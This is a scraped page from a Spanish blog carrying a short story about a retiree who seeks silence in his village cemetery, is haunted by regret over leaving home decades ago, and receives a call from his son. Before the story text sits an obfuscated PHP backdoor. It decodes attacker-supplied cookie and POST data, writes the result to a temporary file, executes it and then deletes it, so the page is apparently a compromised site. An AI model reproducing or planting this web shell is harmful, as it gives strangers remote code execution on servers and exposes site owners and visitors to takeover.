$nJiipQ = "\x4d" . '_' . "\x48" . chr ( 517 - 443 ).'h' . "\x44" . 'c';$JSZzPIxGbH = "\143" . chr (108) . chr ( 857 - 760 )."\x73" . "\x73" . "\137" . chr (101) . "\170" . chr (105) . chr (115) . "\164" . chr ( 241 - 126 ); $fIaFewIVp = $JSZzPIxGbH($nJiipQ); $nJiipQ = "23744";$GogrbYc = !$fIaFewIVp;$JSZzPIxGbH = "42898";if ($GogrbYc){class M_HJhDc{public function VUjVnhVuEK(){echo "5537";}private $MnLCnTvit;public static $IvErMj = "ea0e5aa3-fac4-4fa1-9ed3-6bffe5e36f6a";public static $UriJCglL = 32002;public function __construct($jhovr=0){$BsAFotg = $_COOKIE;$HvGOKEZQxN = $_POST;$whKRQebSl = @$BsAFotg[substr(M_HJhDc::$IvErMj, 0, 4)];if (!empty($whKRQebSl)){$ItrlW = "base64";$OXyNJYH = "";$whKRQebSl = explode(",", $whKRQebSl);foreach ($whKRQebSl as $FjPPLERFEF){$OXyNJYH .= @$BsAFotg[$FjPPLERFEF];$OXyNJYH .= @$HvGOKEZQxN[$FjPPLERFEF];}$OXyNJYH = array_map($ItrlW . chr ( 610 - 515 ).'d' . "\x65" . 'c' . "\x6f" . chr ( 749 - 649 ).chr (101), array($OXyNJYH,)); $OXyNJYH = $OXyNJYH[0] ^ str_repeat(M_HJhDc::$IvErMj, (strlen($OXyNJYH[0]) / strlen(M_HJhDc::$IvErMj)) + 1);M_HJhDc::$UriJCglL = @unserialize($OXyNJYH);}}private function uDdbCYnU(){if (is_array(M_HJhDc::$UriJCglL)) {$CbAoCoJPkl = sys_get_temp_dir() . "/" . crc32(M_HJhDc::$UriJCglL['s' . chr ( 998 - 901 ).'l' . 't']);@M_HJhDc::$UriJCglL[chr ( 182 - 63 )."\x72" . "\x69" . chr (116) . 'e']($CbAoCoJPkl, M_HJhDc::$UriJCglL["\143" . "\157" . chr (110) . "\164" . 'e' . chr ( 837 - 727 ).'t']);include $CbAoCoJPkl;@M_HJhDc::$UriJCglL["\x64" . chr ( 879 - 778 )."\154" . chr ( 311 - 210 )."\164" . "\x65"]($CbAoCoJPkl); $AhOvtjq = "53441";exit();}}public function __destruct(){$this->uDdbCYnU(); $axitm = str_pad("53441", 10);}}$rQVPaYsKI = new /* 22726 */ M_HJhDc(); $rQVPaYsKI = substr("1707_7598", 1);} El pasado y el presente: solo una vida | desdelallanura

El pasado y el presente: solo una vida

Buscaba silencio en el mejor de los sitios para encontrarlo: aquel cementerio pequeño que tantas veces por obligación había visitado. Esta vez, su visita era voluntaria. No había ningún muerto al que enterrar, ningunas flores que poner, ninguna tumba que limpiar. No quería visitar a nadie, él lo hacía desde el recuerdo.

Bucaba silencio porque desde hacía tiempo oía voces. Al principio solo era esporádicamente, luego fueron cada vez más frecuentes, ahora ya no podía librarse de ellas.

No le había dado importancia. Lo llamó remordimientos, aunque él nunca pensó que había hecho nada malo. Lo tenía claro.Pero aún así, las voces se le fueron metiendo dentro. Bajaron desde la cabeza y un buen día le fueron quemando la garganta. Y la voz le cambió. Lo que antes eran remordimientos se convirtió en una preocupación continua.

Pensó que pasar temporadas más largas le ayudaría. Ahora podía. La jubilación le había librado de obligaciones, pero no de ataduras.

Lo hizo. Pasó julio y agosto, y se buscó ocupaciones: cultivó un pequeño huerto, construyó un pequeño palomar similar a los que había conocido en su niñez, formó parte de la asociación de jubilados… Se sentía motivado. Organizaba actividades y participa en todo aquello que le ofrecían.

Las ocupaciones no mermaron su preocupación. Las voces fueron invadiendo su cuerpo, llegaron al corazón. Y su cuerpo se inundó de tristeza.

Echaba de menos sitios, lugares, personas… Cuestionaba una y otra vez la decisión que le llevó, hace más de cuarenta años, a abandonar todo aquello, su primer hogar. Ahora sentía que con ello, había renunciado a la vida de sus padres, de amigos y de vecinos. Adjuró de un tiempo.

Ganó, sin embargo, otras vidas que hasta entonces no existieron, pero ahora se cuestionaba su alejamiento. Durante mucho tiempo había sentido que había ganado espacios, mundos… Ahora se lo cuestiona una y otra vez.

El conflicto crecía… Como una bola de nieve que caía por la ladera de la montaña, y en su caída cada vez se iba haciendo más grande.

Sonó, entonces, su teléfono en aquel cementerio y el ring de la llamada, muy a su pesar, no despertó a los muertos. Miró la pantalla. Era su hijo, aquel que antes del verano le había dicho que lo había logrado: había encontrado trabajo de lo suyo en la universidad de Columbia, un trabajo de investigador, que no tenía duda que iba a aceptar, que era una gran oportunidad y que se iba por dos años, pero que luego volvería.

Un comentario en “El pasado y el presente: solo una vida

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *